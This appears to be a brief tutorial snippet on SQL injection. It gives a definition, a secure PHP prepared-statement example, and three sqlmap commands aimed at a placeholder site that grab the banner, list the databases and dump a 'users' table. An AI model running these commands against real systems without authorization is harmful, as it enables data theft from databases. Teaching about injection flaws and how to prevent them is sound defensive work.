SQL Injection is a vulnerability where an application improperly handles user input in a database query. By injecting malicious SQL code, an attacker can manipulate the query's structure to bypass authentication or extract sensitive data.
// Secure PHP Example
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);
sqlmap -u "http://target-site.com/view.php?id=10" --batch --banner
sqlmap -u "http://target-site.com/view.php?id=10" --dbs --batch
sqlmap -u "http://target-site.com/view.php?id=10" -D app -T users --dump --batch